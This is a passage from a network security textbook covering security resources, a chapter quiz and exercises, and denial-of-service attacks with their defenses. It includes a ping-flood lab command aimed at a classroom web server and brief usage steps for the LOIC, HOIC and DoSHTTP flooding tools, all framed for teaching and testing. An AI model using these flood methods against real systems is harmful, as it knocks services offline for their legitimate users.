A law that is probably even more pertinent to business network security is Sarbanes-Oxley, often called SOX (<http://www.soxlaw.com/>) This law governs how publicly traded companies store and report on financial data, and keeping that data secure is a vital part of this. Obviously, full coverage of this law is beyond the scope of this chapter, or even this book. It is mentioned to point out to you that in addition to network security being a technical discipline, you must also consider business and legal ramifications.

USING SECURITY RESOURCES

As you read this book and when you move out into the professional world, you will have frequent need for additional security resources. This section highlights a few of the most important ones and those you may find useful now.

- CERT (www.cert.org/). CERT stands for Computer Emergency Response Team, a group sponsored by Carnegie-Mellon University. CERT was the first computer incident-response team and is still one of the most respected in the industry. Anyone

interested in network security should visit the site routinely. On the website is a wealth of documentation, including guidelines for security policies, cutting-edge security research, security alerts, and more.

■ Microsoft Security TechCenter

(<https://technet.microsoft.com/en-us/security>).

This site is particularly useful because so many computers run Microsoft operating systems. This site is a portal to all Microsoft security information, tools, and updates. Users of Microsoft software should visit this website regularly.

■ F-Secure Corporation (www.f-secure.com/). This site is, among other things, a repository for detailed information on virus outbreaks. Here you will find notifications and detailed information about specific viruses. This information includes how the virus spreads, ways to recognize the virus, and specific tools for cleaning an infected system of a particular virus.

■ F-Secure Labs (www.f-secure.com/en/web/labs_global/home).

■ SANS Institute (www.sans.org/). This site provides detailed documentation on virtually every aspect of computer security. The SANS Institute also sponsors a number of security research projects and

publishes information about those projects on its website.

SUMMARY

Threats to networks are growing. We are seeing an increase in the number of hacking attacks and viruses, as well as other forms of attack. Couple this growing danger with increasing legal pressures (such as HIPAA and SOX) and network administrators have an ever-increasing demand on network security. To meet this demand you must have a thorough understanding of the threats to your network, as well as the countermeasures you can employ. This begins with a realistic assessment of the dangers to your network.

This chapter has introduced you to the basic concepts of network security, the general classes of danger, and basic security terminology. Subsequent chapters elaborate on this information.

TEST YOUR SKILLS

MULTIPLE CHOICE QUESTIONS

1. Which of the following is not one of the three major classes of threats?

- A.** Denial of service attacks
 - B.** A computer virus or worm
 - C.** Actually intruding on a system
 - D.** Online auction fraud
- 2.** Which of the following is the most accurate definition of a virus?
- A.** Any program that spreads via e-mail
 - B.** Any program that carries a malicious payload
 - C.** Any program that self-replicates
 - D.** Any program that can damage your system
- 3.** Are there any reasons not to take an extreme view of security, if that view errs on the side of caution?
- A.** No, there is no reason not to take such an extreme view.
 - B.** Yes, that can lead to wasting resources on threats that are not likely.
 - C.** Yes, if you are going to err, assume there are few if any realistic threats.
 - D.** Yes, that can require that you increase your security skills in order to implement more rigorous defenses.
- 4.** What is a computer virus?

- A.** Any program that is downloaded to your system without your permission
 - B.** Any program that self-replicates
 - C.** Any program that causes harm to your system
 - D.** Any program that can change your Windows registry
- 5.** Which of the following gives the best definition of spyware?
- A.** Any software that logs keystrokes
 - B.** Any software used to gather intelligence
 - C.** Any software or hardware that monitors your system
 - D.** Any software that monitors which websites you visit
- 6.** Which of the following is the best definition for the term *ethical hacker*?
- A.** An amateur who hacks a system without being caught
 - B.** A person who hacks a system by faking a legitimate password
 - C.** A person who hacks a system to test its vulnerabilities
 - D.** An amateur hacker

7. What is the term for hacking a phone system?
- A. Telco-hacking
 - B. Hacking
 - C. Cracking
 - D. Phreaking
8. Which of the following is the best definition of malware?
- A. Software that has some malicious purpose
 - B. Software that self-replicates
 - C. Software that damages your system
 - D. Any software that is not properly configured for your system
9. Which of the following is the best definition for *war-driving*?
- A. Driving while hacking and seeking a computer job
 - B. Driving while using a wireless connection to hack
 - C. Driving looking for wireless networks to hack
 - D. Driving and seeking rival hackers
10. Which of the following is the most basic security activity?

- A.** Installing a firewall
 - B.** Authenticating users
 - C.** Controlling access to resources
 - D.** Using a virus scanner
- 11.** Blocking attacks seek to accomplish what?
- A.** Install a virus on the target machine
 - B.** Shut down security measures
 - C.** Prevent legitimate users from accessing a system
 - D.** Break into a target system
- 12.** What are the three approaches to security?
- A.** Perimeter, layered, and hybrid
 - B.** High security, medium security, and low security
 - C.** Internal, external, and hybrid
 - D.** Perimeter, complete, and none
- 13.** An intrusion-detection system is an example of:
- A.** Proactive security
 - B.** Perimeter security
 - C.** Hybrid security
 - D.** Good security practices

- 14.** Which of the following would most likely be classified as misuse(s) of systems?
- A.** Looking up information on a competitor using the web
 - B.** Getting an occasional personal e-mail
 - C.** Using your business computer to conduct your own (non-company) business
 - D.** Shopping on the web during lunch
- 15.** The most desirable approach to security is one which is:
- A.** Perimeter and dynamic
 - B.** Layered and dynamic
 - C.** Perimeter and static
 - D.** Layered and static
- 16.** When assessing threats to a system, what three factors should you consider?
- A.** The system's attractiveness, the information contained on the system, and how much traffic the system gets
 - B.** The skill level of the security team, the system's attractiveness, and how much traffic the system gets
 - C.** How much traffic the system gets, the security

budget, and the skill level of the security team

D. The system's attractiveness, the information contained on the system, and the security budget

17. Which of the following is the best definition for non-repudiation?

A. Security that does not allow the potential intruder to deny his attack

B. Processes that verify which user performs what action

C. It is another term for user authentication

D. Access control

18. Which of the following types of privacy laws affect computer security?

A. Any state privacy law

B. Any privacy law applicable to your organization

C. Any privacy law

D. Any federal privacy law

19. The first computer incident response team is affiliated with what university?

A. Princeton University

B. Carnegie-Mellon University

C. Harvard University

D. Yale University

20. Which of the following is the best definition of “sensitive information”?

A. Military- or defense-related information

B. Any information that is worth more than \$1,000

C. Any information that, if accessed by unauthorized personnel, could damage your organization in any way

D. Any information that has monetary value and is protected by any privacy laws

21. Which of the following best defines the primary difference between an ethical hacker and an auditor?

A. There is no difference.

B. The ethical hacker tends to be less skilled.

C. The auditor tends to be less skilled.

D. The ethical hacker tends to use more unconventional methods.

EXERCISES

EXERCISE 1.1: How Many Virus Attacks

Have Occurred This Month?

1. Using various websites, determine the number of virus attacks reported this month. You may find that sites such as www.f-secure.com are helpful for finding this information.
2. Compare that figure to the number of virus outbreaks per month in the last three, nine, and twelve months.
3. Are virus attacks increasing or decreasing in frequency? Give examples to support your answer and state the estimated amount of change in virus attacks over the past year.

EXERCISE 1.2: Trojan Horse Attacks

1. Using the Internet, journals, books, or other resources, find one incident of a Trojan horse attack in the past nine months.
2. How was this Trojan horse delivered? What damage did it cause?
3. Describe the Trojan horse attack, including:
 - Any specific targets
 - Whether the perpetrators of the attack have been caught and/or prosecuted

- What types of security warnings were issued about the attack as well as measures prescribed to defend against it

EXERCISE 1.3: Recent Trends in Computer Crime

1. Using your preferred search engine, find its most recent survey on computer crime.
2. Note which areas of computer crime have increased and decreased.
3. Describe the changes between this survey and the one published in 2002.
4. What do the two surveys tell you about trends in computer crime?
5. What area of computer crime appears to be increasing most rapidly?

EXERCISE 1.4: Hacking Terminology

Using the *New Hacker's Dictionary* (http://www.outpost9.com/reference/jargon/jargon_toc.html), define the following terms. Then check the Internet (web pages, chat rooms, or bulletin boards) to find an example of each term being used.

- daemon
- dead code
- dumpster diving
- leapfrog attack
- kluge
- nuke

EXERCISE 1.5: Security Professional Terminology

Using one of the three glossaries discussed in this chapter, define the following terms:

- access control list
- adware
- authentication
- backdoor
- buffer
- HotFix

PROJECTS

PROJECT 1.1: Learning About a Virus

1. Searching with your preferred search engine, find

a virus that has been released in the last six months. You might find information on sites such as www.f-secure.com.

2. Describe how the virus you chose worked, including the method it used to spread.
3. Describe the amount of damage caused by the virus.
4. Were any specific targets identified?
5. Were the perpetrators of the virus attack caught and/or prosecuted?
6. What types of security warnings were issued about the virus attack?
7. What measures were prescribed to defend against it?
8. Would the virus most properly be described as a virus or a worm?

PROJECT 1.2: Security Profession

Using various resources including the web, find out qualifications required for computer security administrator jobs. You will need to find out specific technologies required, years of experience, educational level, and any certifications. This project should help

you see what topics the industry considers most important for a security professional to understand. Websites that might help you include:

- www.computerjobs.com

- www.dice.com

- www.monster.com

PROJECT 1.3: Finding Web Resources

This chapter provides several good web resources for security information. You should now use the Internet to identify three websites you think provide reliable and valid information that would be beneficial to a security professional. Explain why you believe these to be valid sources of information.

Note: You will likely use these sources in later chapter exercises and projects, so make certain you can rely on the data they provide.

Chapter 2

Types of Attacks

CHAPTER OBJECTIVES

After reading this chapter and completing the exercises, you will be able to do the following:

- Describe the most common network attacks, including session hacking, virus attacks, Trojan horses, denial of service, and buffer overflow.
- Explain how these attacks are executed.
- Identify basic defenses against those attacks.
- Configure a system to prevent denial of service attacks.
- Configure a system to defend against Trojan horse attacks.
- Configure a system to defend against buffer overflow attacks.

INTRODUCTION

Chapter 1, “Introduction to Network Security,” introduced some general dangers to computer systems and provided an overview of network security. This chapter examines specific types of attacks much more closely. This chapter analyzes how systems are most commonly attacked. Particular attention will be paid to the denial of service (DoS) attack. This threat is one of the most common attack methods on the Internet, so understanding how it works and how to defend systems against them is prudent for administrators.

This chapter also describes virus attacks, Trojan horse attacks, and some less common methods of attack, such as session hacking and tunneling. In information security, the old adage “knowledge is power” is not only good advice but also an axiom upon which to build an entire security outlook.

UNDERSTANDING DENIAL OF SERVICE ATTACKS

The first type of attack to examine is the denial of service (DoS). Recall from Chapter 1 that a denial of service attack is any attack that aims to deprive legitimate users of the use of the target system. This class of attack does not actually attempt to infiltrate a system or to obtain sensitive information. It simply aims to prevent legitimate users from accessing a given system. This type of attack is one of the most common categories of attack. Many experts feel that it is so common because most forms of denial of service attacks are fairly easy to execute. The ease with which these attacks can be executed means that even attackers with minimal technical skills can often successfully perform a denial of service.

The concept underlying the denial of service attack is based on the fact that any device has operational limits. This fact applies to all devices, not just computer systems. For example, bridges are designed to hold weight up to a certain limit, aircraft have limits on how far they can travel without refueling, and automobiles can only accelerate to a certain point. All of these various devices share a common trait: They have set limitations to their capacity to perform work. Computers are no different from these, or any other

machine; they, too, have limits. Any computer system, web server, or network can only handle a finite load.

How a workload (and its limits) is defined varies from one machine to another. A workload for a computer system might be defined in a number of different ways, including by the number of simultaneous users, the size of files, the speed of data transmission, or the amount of data stored. Exceeding any of these limits will stop the system from responding. For example, if you can flood a web server with more requests than it can process, it will be overloaded and will no longer be able to respond to further requests. This reality underlies the DoS attack. Simply overload the system with requests, and it will no longer be able to respond to legitimate users attempting to access the web server.

DoS in Action

The concept of a denial of services attack is simple; however, most principles are easier to grasp if one can see a concrete example. In this case you need a safe way to simulate a DoS attack within a classroom or laboratory setting. One simple way to illustrate a DoS attack, especially in a classroom setting, involves the use of the ping command along with certain parameters. (Recall that typing in `ping /h` or **ping /?** will show you all the options for the ping command.) The first step is to start a web server service running on a computer that will be used as the target for this attack. You can use any operating system and any web server you like (such as Microsoft Internet Information Services or Apache HTTP Server). Apache is a free download from www.apache.org. Microsoft Windows 10 comes with Internet Information Services, so you should have no trouble finding a web server to install and run. For the purposes of this lab you would want to purposefully use a low-capacity machine. An older machine, perhaps an older laptop, would be ideal. You want to pick a machine that will be easy to overload. In essence you are looking for the exact opposite of what you look for when setting up a real web server.

Setting up a web server is actually quite simple. Because

Apache is available as a free download for both Linux and Windows (www.apache.org), let's examine it. Follow these steps to install and configure Apache on your system.

Installing for Windows

1. Download Apache for Windows from www.apache.org.
2. Look in C:\Program Files\Apache Group\Apache2\conf for the httpd.conf file and open it.
3. Set the ServerName = localhost.
4. Save the file.
5. From the command prompt type **httpd start**.

You should now be able to open a browser and see the default Apache website.

Installing for Linux

1. Download Apache for Linux (or in many Linux distributions you can simply add the Apache web server package) from www.apache.org.
2. Look in /etc/httpd/conf for the httpd.conf file. When you find it, right-click it and open it with a text editor.

3. Set the `ServerName = localhost`.
4. Save the file.
5. From a shell, type `/etc/init.d/httpd start`. The server should start and you get an OK message.
6. Open your browser and go to <http://localhost/>.

You should see the Apache default website.

When you are ready to make your server live (reachable from other PCs), in the `/etc/httpd/conf/httpd.conf` file change the following settings:

FYI: Changing the Configuration File

Any time you change the configuration file you must stop the Apache server and restart it. To stop Apache, use `/etc/init.d/http stop`.

- Change `servername` to your registered URL or to your IP:port such as `10.10.10.117:80`.
- Change `listen` to reflect the IP and port you want (there is an example in the config file).
- Check the `documentroot` directory to make certain that is where you want your web pages to be served up from. The default should be `/var/www/html`.

■ From a shell type `/etc/init.d/httpd start`.

FYI: Conducting Labs Safely

This lab is potentially dangerous to the target server. In fact, throughout this book, we examine labs that could cause significant disruption to live computer systems. You should conduct these labs only on computers that are disconnected from your main network and that do not contain any critical information. Setting up a lab specifically for security practice is best.


If you are using Windows 7 or 2008 or 2012 Server editions you can also choose to use Microsoft Internet Information Services as your web server.

The next step is to verify that the web server is actually running and that you can reach its default web page. One person in the class can open his or her browser and type the target server machine's IP address in the address bar. He should then be viewing the default website for that web server. Now you can do a rather primitive DoS attack on it.

You make the actual attack using the ping command. If you don't recall how to use the ping command, you

should note that typing **ping /h** at the command prompt displays all the options for the ping command. The options to use in this exercise are `-w` and `-t`. The `-w` option determines how many milliseconds the ping utility will wait for a response from the target. In this case, set that option to `-0`, so it does not wait at all. The `-t` option instructs the ping utility to keep sending packets until explicitly told to stop. An additional option, the `-l` option, allows users to change the size of the packet you can send. Keep in mind that a TCP packet can only be of a finite size, so you are going to set these packets to be almost as large as you can send.

At the command prompt in Windows 10 (that's the shell in Unix/Linux), type **ping** *<address of target machine goes here>*`-l 65000 -w 0 -t`. The machine's response should be similar to that shown in Figure 2-1. Note that in the figure I am pinging the loopback address for my own machine. You will want to substitute the address of the machine on which you are running the web server.



```
Command Prompt - ping 127.0.0.1 -l 65000 -w 0 -t
C:\>ping 127.0.0.1 -l 65000 -w 0 -t
Pinging 127.0.0.1 with 65000 bytes of data:
Reply from 127.0.0.1: bytes=65000 time<10ms TTL=128
Reply from 127.0.0.1: bytes=65000 time<10ms TTL=128
Reply from 127.0.0.1: bytes=65000 time<10ms TTL=128
Reply from 127.0.0.1: bytes=65000 time<10ms TTL=128
Reply from 127.0.0.1: bytes=65000 time<10ms TTL=128
```

FIGURE 2-1 Ping from the command prompt

What is happening as this series of pings is being executed is that this single machine is continually pinging away at the target machine. At this point in the exercise, having just one machine in a classroom or lab pinging on a web server should not adversely affect the web server. This is because that level of traffic is well within the capacity of the target web server. However, after causing other machines to ping the server in the same way, you will begin to tax the target machine's capacity. If you get enough machines pinging the target, you will eventually reach a threshold at which the target machine will stop responding to requests, and you will no longer be able to access the web page. The number of machines it will take to reach this threshold depends on

the web server you are using. This author has conducted this particular experiment in classrooms. In those situations Apache web server was being run on a Pentium III laptop running Windows 7, with only 1 gigabyte. In that scenario it only took about 25 machines simultaneously pinging to cause the web server to stop responding to legitimate requests. Even if this experiment does not bring down the machine, it will at least cause it to respond more slowly.

This experiment allows you to get a feel for how a denial of service is executed. It is meant to give you a better understanding of the principle behind the DoS. You should keep in mind that actual denial of service attacks use much more sophisticated methods. Also note that no real web server would be running on a simple laptop with Windows 7. However, this exercise demonstrates the basic principle behind the DoS attack: Simply flood the target machine with so many packets that it can no longer respond to legitimate requests. This basic concept is shown in Figure 2-2. What we have done, in this experiment, is simply to exceed the operational limits of the laboratory web server.




FIGURE 2-2 The DoS concept

Generally, the methods used for DoS attacks are significantly more sophisticated than the illustration. Although all DoS attacks seek to overload the target machine, a variety of ways exist to do that, and a variety of ways exist to initiate the attack itself. For example, a hacker might develop a small virus whose sole purpose is to initiate a ping flood against a predetermined target. After the virus has spread, the various machines that are infected with that virus begin their ping flood to the target system. This sort of DoS is easy to do and can be hard to stop. A few common DoS attacks are described later in this chapter.

A DoS attack that is launched from several different machines is called a distributed denial of service, or

DDoS.

The DDoS is becoming more common; in fact it is now the most common sort of DoS attack. Most of the real-world examples we will examine later in this chapter are DDoS attacks. Two reasons that this form of denial of service attack is becoming more popular include:

- Overloading a target system is easier to do if you have more than one machine attacking it. With newer servers capable of handling much higher workloads, executing a DoS attack from just one machine becomes more difficult.
- It allows the attacker to launch the attack from other people's machines, thus protecting his anonymity. Launching an attack from one's own machines can be risky because each packet has the potential to be traced back to its source. This would mean an almost certainty of being caught by the authorities.

The basic concept behind a DoS attack is simple. The real problem for the attacker is avoiding being caught. The next section examines some specific types of DoS attacks and reviews specific case studies.

SYN Flood

Simply sending a flood of pings is the most primitive method of performing a DoS. More sophisticated methods use specific types of packets. One popular version of the DoS attack is the SYN flood. This particular attack depends on the hacker's knowledge of how connections are made to a server. When a session is initiated between the client and server in a network using the TCP protocol, a small buffer space in memory is set aside on the server to handle the "hand-shaking" exchange of messages that sets up the session. The session-establishing packets include a SYN field that identifies the sequence in the message exchange.

A SYN flood attempts to subvert this process. In this attack an attacker sends a number of connection requests very rapidly and then fails to respond to the reply that is sent back by the server. In other words, the attacker requests connections, and then never follows through with the rest of the connection sequence. This has the effect of leaving connections on the server half open, and the buffer memory allocated for them is reserved and not available to other applications. Although the packet in the buffer is dropped after a certain period of time (usually about three minutes) without a reply, the effect of many of these false

connection requests is to make it difficult for legitimate requests for a session to get established, as shown in Figure 2-3.




FIGURE 2-3 The SYN flood

A number of well-known SYN flood attacks have occurred on web servers. The reason for the popularity of this attack type is that any machine that engages in TCP communication is vulnerable to it—and all machines connected to the Internet engage in TCP communications. The TCP packet exchange is the entire basis for web server communication. However, several methods protect against these attacks. Some of those methods require more technical sophistication than others. You can select the methods most appropriate for your network environment and your level of expertise.

Defending with Micro Blocks

Micro blocks seek to avoid SYN floods by changing the way the server allocates memory for any given connection request. Instead of allocating a complete connection object, the server is altered so that it only allocates a micro-record. Newer implementations of this technique allocate as little as 16 bytes for the incoming SYN object. The specifics on how to set up micro blocks are specific to a given operating system. This is a less common technique. Many network administrators are not even aware of this possibility.

Defending with Bandwidth Throttling

A common method to defend against DoS attacks is for the firewall or intrusion detection system to detect excessive traffic from one or more IP addresses and restrict that bandwidth. This is using bandwidth throttling to mitigate the DoS attack.

Defending with SYN Cookies

As the name *SYN cookies* suggests, this method uses cookies, not unlike the standard cookies used on many websites. With this method, the system does not immediately create a buffer space in memory for the hand-shaking process. Rather, it first sends a SYNACK (the acknowledgment signal that begins the hand-shaking process). The SYNACK contains a carefully constructed cookie, generated as a hash that contains the IP address, port number, and other information from the client machine requesting the connection. When the client responds with a normal ACK (acknowledgment), the information from that cookie will be included, which the server then verifies. Thus, the system does not fully allocate any memory until the third stage of the hand-shaking process. However, the cryptographic hashing used in SYN cookies is fairly intensive, so system administrators who expect a large number of incoming connections might choose not to use this defensive technique. This is also less common, but not as uncommon as micro blocks.

This defense mechanism also illustrates the fact that most defenses require some tradeoff between performance and security. The overhead resources required by the SYN cookie might degrade performance,

especially when there is a large amount of traffic; however, the SYN cookie is one of the more robust defenses against many forms of DoS. The optimal solution would be to have a very high-performance server (or server farm) that can handle the overhead and to implement SYN cookies.

FYI: Stateful Packet Inspection (SPI)

Implementing a firewall that examines not just individual packets but the entire “conversation” is one of the easiest ways to stop a SYN flood. Such stateful packet inspection (SPI) firewalls look at all the packets from a given source. Thus, thousands of SYN packets from a single IP address without corresponding SYNACK packets would appear suspicious and be blocked.

Defending with RST Cookies

Another cookie method that is easier to implement than SYN cookies is the RST cookie. In this method, the server sends a wrong SYNACK back to the client. The client should then generate an RST (reset) packet telling the server that something is wrong. Because the client sent back a packet notifying the server of the error, the server now knows the client request is legitimate and will now accept incoming connections from that client in the normal fashion. This method has two disadvantages. First, it might cause problems with some earlier Windows machines and/or machines that are communicating from behind firewalls. Also, some firewalls might block the return SYNACK packet.

Defending with Stack Tweaking

The method of stack tweaking involves altering the TCP stack on the server so that it will take less time to timeout when a SYN connection is left incomplete. Unfortunately, this protective method will just make executing a SYN flood against that target more difficult; to a determined hacker, the attack is still possible. Stack tweaking is more complicated than the other methods and is discussed more fully in Chapter 8, “Operating System Hardening.”

The specific implementation procedure of any of these methods depends on the operating system your web server is using. Administrators should consult your operating system's documentation or appropriate websites in order to find explicit instructions. The most efficient way to defend against a DoS attack is a combination of these methods. The use of SYN cookies or RST cookies in conjunction with stack tweaking is a very good way to defend your web server. By combining methods, each method can overcome the others' weaknesses. Combining these methods is rather like using both an alarm system and a security guard to protect a building. The guard can make decisions that the alarm system cannot, but the alarm system is never asleep, cannot be bribed, and is never distracted. The two methods together cover each other's weaknesses.

FYI: Stack Tweaking

The process of stack tweaking is often quite complicated, depending on the operating system. Some operating systems' documentation provides no help on this subject. Also, it only decreases the danger, but does not prevent it. For this reason it is not used as frequently as other methods.

Smurf Attack

The Smurf attack is a popular type of DoS attack. It was named after the application first used to execute this attack. In the Smurf attack, an ICMP packet is sent out to the broadcast address of a network, but its return address has been altered to match one of the computers on that network, most likely a key server. All the computers on the network will then respond by pinging the target computer. ICMP packets use the Internet Control Message Protocol to send error messages on the Internet. Because the address the packets are sent to is a broadcast address, that address responds by echoing the packet out to all hosts on the network, who then send it to the spoofed source address. Continually sending such packets will cause the network itself to perform a DoS attack on one or more of its member servers. This attack is both clever and simple. The greatest difficulty is getting the packets started on the target network. This can be accomplished via some software such as a virus or Trojan horse that will begin sending the packets. Figure 2-4 illustrates this attack.




FIGURE 2-4 The Smurf attack

The Smurf attack is an example of the creativity that some malicious parties can employ. It is sometimes viewed as the digital equivalent of the biological process in an autoimmune disorder. With such disorders, the immune system attacks the patient's own body. In a Smurf attack the network performs a DoS attack on one of its own systems. This method's cleverness illustrates

why it is important that you attempt to work creatively and in a forward-thinking manner if you are responsible for system security in your network. The perpetrators of computer attacks are inventive, continually developing new techniques. If your defense is less creative and clever than the attackers' offense, then it is simply a matter of time before your system is compromised.

You can protect against the Smurf attack in two ways:

- The most direct method is to configure all of your routers so that they do not forward any directed broadcast packets. These packets are the cornerstone of the Smurf attack, and if routers do not forward them, then the attack is contained within one subnetwork.
- The second approach is to guard against Trojan horses (covered in depth later in this chapter). Because the Smurf attack is launched from software delivered via a Trojan horse, preventing that initial delivery will prevent the attack. Policies that prohibit employees from downloading applications and guarding a system with adequate virus scanners can go a long way to protecting the system from a Trojan horse, and thus the Smurf attack.

Using a proxy server is also imperative. Proxy servers can hide the internal IP addresses of your machine,

which makes your system a lot less vulnerable to a Smurf attack. Chapters 3 and 4 explore proxy servers and firewalls, another important tool, in detail.

Ping of Death

The Ping of Death (PoD), perhaps the simplest and most primitive form of DoS attack, is based on overloading the target system. TCP packets are of limited size. In some cases simply sending a packet that is too large can shut down a target machine.

This attack is quite similar to the classroom example discussed earlier in this chapter. The aim in both cases is to overload the target system and cause it to quit responding. The PoD works to compromise systems that cannot deal with extremely large packet sizes. If successful, the server will actually shut completely down. It can, of course, be rebooted.

The only real safeguard against this type of attack is to ensure that all operating systems and software are routinely patched. This attack relies on vulnerabilities in the way a particular operating system or application handles abnormally large TCP packets. When such vulnerabilities are discovered, the vendor customarily releases a patch. The possibility of PoD is one reason, among many, why you must keep patches updated on all

of your systems.

This attack is becoming less common as newer versions of operating systems are better able to handle the overly large packets that Ping of Death depends on. If the operating system is properly designed it will drop any oversized packets, thus negating any possible negative effects a PoD attack might have.

UDP Flood

A UDP (User Datagram Protocol) flood attack is actually a variation on the experiment described earlier in this chapter. UDP is a connectionless protocol and it does not require any connection setup procedure to transfer data. TCP packets connect and wait for the recipient to acknowledge receipt before sending the next packet. Each packet is confirmed. UDP packets simply send the packets without confirmation. This allows packets to be sent much faster, making it easier to perform a DoS attack.

A UDP flood attack occurs when an attacker sends a UDP packet to a random port on the victim system. When the victim system receives a UDP packet, it will determine what application is waiting on the destination port. When it realizes that no application is waiting on the port, it will generate an ICMP packet of destination

unreachable to the forged source address. If enough UDP packets are delivered to ports on the victim, the system goes down.

ICMP Flood

ICMP flood is a term you frequently encounter in security literature. In reality it is simply another name for the ping flood used in the experiment described earlier. ICMP packets are the type of packets used in the **ping** and **tracert** (this command is **tracert** in Windows and **traceroute** in Linux) utilities.

DHCP Starvation

DHCP starvation is another common attack. If enough requests flood onto the network, the attacker can completely exhaust the address space allocated by the DHCP servers for an indefinite period of time. There are tools such as Gobbler that will do this for you. Preventing incoming DHCP requests from outside the network will prevent this.

HTTP Post DoS

An HTTP Post DoS attack sends a legitimate HTTP post message. Part of the post message is the 'content-length'. This indicates the size of the message to follow. In this attack, the attacker then sends the actual message body at an extremely slow rate. The web server is then "hung" waiting for that message to complete. For more robust servers, the attacker will need to use multiple HTTP Post attacks simultaneously.

PDoS

A permanent denial of service (PDoS) is an attack that damages the system so badly that the victim machine needs either an operating system reinstall or even new hardware. This is sometimes called phlashing. This will usually involve a DoS attack on the device's firmware.

Distributed Reflection Denial of Service

As previously stated, distributed denial of service attacks are becoming more common. Most such attacks rely on getting various machines (servers or workstations) to attack the target. The distributed reflection denial of service (DRDoS) is a special type of DoS attack. As with all such attacks, it is accomplished by the hacker getting a number of machines to attack the selected target. However, this attack works a bit differently than other DoS attacks. Rather than getting computers to attack the target, this method tricks Internet routers into attacking a target.

Many of the routers on the Internet backbone communicate on port 179. This attack exploits that communication line and gets routers to attack a target system. What makes this attack particularly wicked is that it does not require the routers in question to be compromised in any way. The attacker does not need to get any sort of software on the router to get it to participate in the attack. Instead the hacker sends a stream of packets to the various routers requesting a connection. The packets have been altered so that they appear to come from the target system's IP address. The routers respond by initiating connections with the target system. What occurs is a flood of connections from

multiple routers, all hitting the same target system. This has the effect of rendering the target system unreachable. Figure 2-5 illustrates this attack.




FIGURE 2-5 Distributed reflection denial of service

DoS Tools

One reason that DoS attacks are becoming so common is that a number of tools are available for executing DoS attacks. These tools are widely available on the Internet, and in most cases are free to download. This means that any prudent administrator should be aware of them. In addition to their obvious use as an attack tool, they can also be useful for testing your anti-DoS security measures.

In Practice

Attacking Your Own System

No better way exists to test your defense versus a particular sort of attack than to simulate that attack. No matter what countermeasures you implement, you won't really know whether they are effective until you are attacked. Finding out before a real attack occurs would be better. The best way to do this is to use military-style battle exercises.

This method is not something you would try against a live machine. The preferred way to do this is to set up a machine for testing purposes. On that machine implement your various security measures, and then subject that machine to the types of attacks you hope

to defend against. This can give you concrete evidence of the efficacy of your defenses.

When you conduct this sort of exercise, several guidelines should be followed:

- Always use a test system, not a live system.
- Carefully document the system's state prior to the attack (what operating system, patches, hardware configuration, CPU usage, memory usage, what software is installed, and how the system is configured).
- Carefully document exactly what security measures you implement.
- Very specifically document each type of attack you subject the machine to.
- Document how that machine responds.

When you have completed this battle drill, you should borrow one more idea from the military, and that is the after-action review. Simply put, briefly write up how the system defenses performed and what this indicates about your system's security.

An unfortunate fact, however, is that this particular security measure is one that is not frequently employed in industry. The primary reason is that it requires resources. You must dedicate a test machine

and, more importantly, many hours to conducting the exercise. Most IT departments have a very heavy workload and simply cannot allocate the time necessary for this sort of drill. However, this is something that security consultants should definitely engage in.

Low Orbit Ion Cannon

This is probably the most well-known, and certainly one of the simplest, DoS tools anywhere. A simple search of the Internet will show you multiple sites you can download LOIC from.

You first put the URL or IP address into the target box. Then click the Lock On button. You can change settings regarding what method you choose, the speed, how many threads, and whether or not to wait for a reply. Then simply click the IMMA CHARGIN MAH LAZER button and the attack is underway. You can see this in Figure 2-6.



FIGURE 2-6 LOIC

HOIC

High Orbit Ion Cannon is a bit more advanced than LOIC, but actually simpler to run. Click the + button to add targets. A popup window will appear, where you put in the URL as well as a few settings.

DoSHTTP

This tool is also simple to use. You select the target, the agent (i.e., what browser type to simulate), how many sockets, the requests, then start the flood.

Real-World Examples

You should now have a firm grasp of what a DoS attack is and have a basic understanding of how it works. You should also have some basic ideas of how to defend your network from these attacks. It is now time to begin discussing specific, real-world examples of such attacks. The following analysis of several actual attacks illustrates the methods hackers use to launch them, their effects, their detection, and the steps administrators took to overcome them.

FYI: Virus or Worm?

You will see the terms *virus* and *worm* used in different books, sometimes interchangeably. However, a difference exists between the two. A worm is a specific type of virus, one that can spread without any human interaction. Traditional virus attacks come as e-mail attachments, and a human operator must open the attachment to start the infection. A worm spreads without any activity on the part of the human user. Some books use these terms rather strictly. The term *virus* accurately describes both situations.

FakeAV

The FakeAV virus first appeared in July 2012. It affected Windows systems ranging from Windows 95 to Windows 7 and Windows Server 2003. This was a fake antivirus (thus the name FakeAV). It would pop up fake virus warnings. This was not the first such fake antivirus malware, but it was one of the more recent ones.

Flame

No modern discussion of viruses would be complete without a discussion of Flame. This virus first appeared in 2012 and targeted Windows operating systems. One thing that makes this virus notable is that it was specifically designed for espionage. It was first discovered in May 2012 at several locations, including Iranian government sites. Flame is spyware that can monitor network traffic and take screenshots of the infected system.

This malware stored data in a local database that was encrypted. Flame was also able to change its behavior based on the specific antivirus running on the target machine, which indicates that this malware is highly sophisticated. Also of note is the fact that Flame was signed with a fraudulent Microsoft certificate, which meant that Windows systems would trust the software.

MyDoom

This is an old virus but a classic one and therefore worthy of inclusion in any discussion of viruses. In early 2004, not hearing about the MyDoom worm would have been quite difficult. This threat was a classically executed DDoS attack. The virus/worm would e-mail itself to everyone in your address book and then, at a preset time, all infected machines began a coordinated attack on www.sco.com. Note that the website in question no longer exists. Estimates put the number of infected machines between 500,000 and 1 million. This attack successfully shut down the Santa Cruz Operation (SCO) website. It should be noted that well before the day that the DDoS attack was actually executed, network administrators and home users were well aware of what MyDoom would do. Several tools were available free of charge on the Internet for removing that specific virus/worm. However, apparently many people did not take the steps necessary to clean their machines of this virus/worm.

This attack is interesting to study for several reasons:

- It is a classic example of a worm. It used multiple modes to spread and could spread as an e-mail attachment or copy itself over a network.

- It was the vehicle for launching a distributed denial of service attack on a very specific target.
- It is clearly an example of domestic cyber terrorism (although certainly the creators of MyDoom would probably see it differently).

For those readers who do not know the story, it is examined here briefly. Santa Cruz Operation made a version of the Unix operating system. Like most Unix versions, their version was copyright protected. Several months before the MyDoom attack, SCO began accusing certain Linux distributions of containing segments of SCO Unix code. SCO sent letters to many Linux users demanding license fees. Many people in the Linux community viewed this as an attempt to undermine the growing popularity of Linux, an open-source operating system. SCO went even further and filed suit against major companies distributing Linux. This claim seemed unfounded to many legal and technology analysts. It was also viewed with great suspicion because SCO had close ties to Microsoft, who had been trying desperately to stop the growing popularity of Linux.

Many analysts feel that the MyDoom virus/worm was created by some individual (or group of individuals) who felt that the Santa Cruz Operation tactics were unacceptable. This hacker (or group of hackers) launched the virus to cause economic harm to SCO and

